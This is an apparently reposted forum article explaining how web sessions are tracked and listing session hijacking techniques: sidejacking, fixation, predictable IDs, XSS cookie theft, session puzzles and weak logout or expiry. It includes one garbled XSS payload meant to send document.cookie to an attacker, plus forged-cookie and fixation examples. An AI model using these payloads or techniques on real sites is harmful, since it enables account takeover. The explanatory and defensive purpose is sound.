Session Hijacking Cheat Sheet

[Aerosol]

‘Session Hijacking’ is an old and routine topic in the field of application security. To make it more interesting, in this article, we are going to focus on different ways it can be performed.

Introduction for beginners

Web applications communicate using HTTP protocol. HTTP is stateless, which means there is no support at the protocol level to identify the state of a particular request. In other words, web servers don’t have any mechanism to know whether the request is coming from a new client from a client which is already communicating with it. So from the server perspective, every request it receives is a new request. For instance, let us say a client logged into his Facebook account by sending his credentials. Now if he wishes to see his messages, he has to send his credential information again, because the server doesn’t normally know that he was already authenticated in the previous request. This is something that developers have to do themselves. This is called ‘Session Tracking’.

How can sessions be tracked?

Sessions are tracked by developers primarily through the use of session identifiers (SIDs). Once the user is successfully authenticated, a session ID is created by the server and maintained by the server. From there on, for every request this value is checked to track the user. In other words, session IDs are used as an authentication token so that user does not have to re-enter the credential information with every request.

Based on how this SID this sent and received, there are 3 mechanisms to track sessions.

• Cookies:
  

The SID is created and maintained in the server and sent to the user through cookies. A cookie is stored in the user’s hard disk and goes with each request. The server verifies the same before executing the request. This is the most widely used mechanism and we are going to talk more about this in the below sections.

• URL Rewriting:
  

In this the SID value actually goes in the URL of each request. This kind of session tracking is difficult, as we need to keep track of the parameter as a chain link until the conversation completes.

• Hidden Fields:
  

Hidden fields are elements which are not directly visible to the user. They can be viewed by looking at the page source. Interestingly, they can also be used for session management, as SID values can be stored in hidden fields and can be sent to the server with each request. This sort of mechanism is rarely used these days.

Among these methods, cookies are most widely used method for session management. For remaining part of this article we will assume that we are talking about cookies when we talk about ‘session’.

What is Session Hijacking?

Session hijacking, as the name suggests, is all about knowing the session ID (SID) of an active user so that his account can be impersonated or hijacked. After a user enters his credentials, the application tries to identify him only based on his cookie value (which contains the SID). Hence, if this SID value of any active user is known to us, we can use the same and login to the application as a victim and thus get access to all of the information. And if session ID is gone, everything is gone!

Session Hijacking Cheat Sheet

Let us now take a look at different ways or scenarios in which active sessions can be hijacked.

Session sidejacking

If the application does not use SSL and transports the data in plain text, then anyone within the same network can grab the cookie values just by sniffing the traffic using tools such as Wireshark. There are a few cases worth mentioning here:

• SSL only for login page: Of course if there is no SSL then the credentials too would be gone (forget about cookies!), but there are some developers who use SSL for the login page alone, assuming that the credentials are transported safely. But once the user is authenticated, it is the cookies (that go with each request) that identify him. All the requests that are done after logging in contain cookies, and if they are not protected with SSL, the session can be easily hijacked. Thus the password may not be stolen, but the session can be hijacked.
  

• Single URL is enough to hijack a user: There are several cases where the application uses HTTP to fetch image or JS files that belong to same domain. The problem is when you send a request to a domain in which you are already signed in, the cookies would automatically go. That is how the cookies work. So in simple words, even if there is a single link which goes to the server without HTTPS, the cookies would go along with it and can be grabbed by an attacker who is sniffing the network.
  

Session fixation

Session fixation is an attack where the attacker fixes the session in advance and just waits for the user to login in order to hijack it. This is very much applicable to the SIDs in the URL scenario. If the application associates a user with an incoming SID without checking if it is generated by the server, then this attack is possible.

• An attacker logs into the site www.vulnerablesite.com. The server sets a cookie value and returns it to him, say Set-Cookie: SID=adfajkdfjer23411sdfadf
  
• The attacker now sends a link to the victim, http://www.vulnerablesite.com/test.php?SID= adfajkdfjer23411sdfadf
  
• The victim logs on and the server now assigns the SID value to him. (Why? Due to bad coding, the server does not check if it is generated by itself and tags it with the users).
  
• The attacker, who already knows the SID value he used, can now just use the same and access the victim’s account.
  

Generating cookies before authentication

Cookies are supposed to be generated (or at least changed) after successful authentication. If the same cookie which is generated before authentication is used after authentication, then session hijacking is possible, as explained here with a simple example. This is mostly exploitable in a public café or shared computers scenario.

• An attacker visits the site www.vulnerablesite.com. The server sets a cookie value and returns it to him, say Set-Cookie: SID=randomqrrqwer234234234
  
• The attacker notes down this value and leaves the system, keeping the page open.
  
• The victim now logs into the same site. Cookie value does not change after authentication.
  
• The attacker, who already has the cookie value, can access the victim’s account.
  

Predictable session IDs

By analyzing the pattern of session IDs, an attacker can predict the session ID of a logged in user and thus hijack his account. For example, consider the below session cookie set by an application.

Set-Cookie: sessionid=dG9tOm1hbmFnZXI=

Although this seems to be random at first look, it is not actually! Base 64 decoding of the above value gives the below data.

Base64 Decode [dG9tOm1hbmFnZXI=] = tom:manager

Thus an attacker can study this pattern and construct a valid cookie, for instance something like Base64 Decode [admin:admin]. Similarly, if the session IDs are not random enough, an attacker can try to brute force them to gain access to the application.

Using Cross Site Scripting vulnerability

This article assumes that the reader is aware of what an XSS attack is about. So we are going to take a look at how XSS can be used to steal SID or cookie value. In simple words, XSS allows an attacker to execute scripts (such as JavaScript) on an end user’s browser. Hence an attacker just needs to write a script that can access the cookie value and send it to a server he owns. The below script does the same thing. It hits the attacker’s site with the cookie value. Accessing the cookie on the client side is possible through use of document.cookie.

http://www.vulnerablesite.com/xssvulnerablepage.jsp?name=<script>document.location= “Thank You + document.cookie</script>

Session puzzle attacks

This vulnerability occurs when an application uses the same session variable for more than one purpose. Here an attacker tries to access the pages in a particular order so that the session variable is set in one context and then used in another. This is best explained in the below scenario.

• An attacker visits the application and clicks on the ‘Forgot Password’ link.
  
• Now he enters some other user’s ID (say admin) and clicks submit.
  

• After this the attacker just requests some internal page such as viewprofile.jsp and he logs in as admin.
  

This worked because the application wrongly sets the session attribute when the forgot password process is initiated. The attacker takes advantage of this and exploits it by requesting it in a sequence. These types of vulnerabilities are more difficult to identify through normal testing, and hence source code reviews are the best way to look out for such vulnerabilities.

Improper logout implementation

When a user clicks on the logout button, the application is supposed to destroy all the session variables that are handled on the server side. But instead, some developers just delete the cookies from the client side using client side code. This seems to work fine when you browse normally, because once the cookies are removed from the machine it will redirect to login page, but the session on the server is active indefinitely. This means that an attacker who can grab this value can still access the application. This scenario increases the time period an attacker can launch attacks over valid sessions.

Lack of session expiration mechanism

All applications should track idle sessions and automatically redirect the user to a login page upon session timeout. Failure to do so would not only increase the time period an attacker can launch attacks, but also grant access to the application if he has physical access to that machine. Once again, this session expiration must be done at the server level and not just at the client level.

Source

[Nytro]

Cititi bre, ca in lumea asta nu e doar XSS.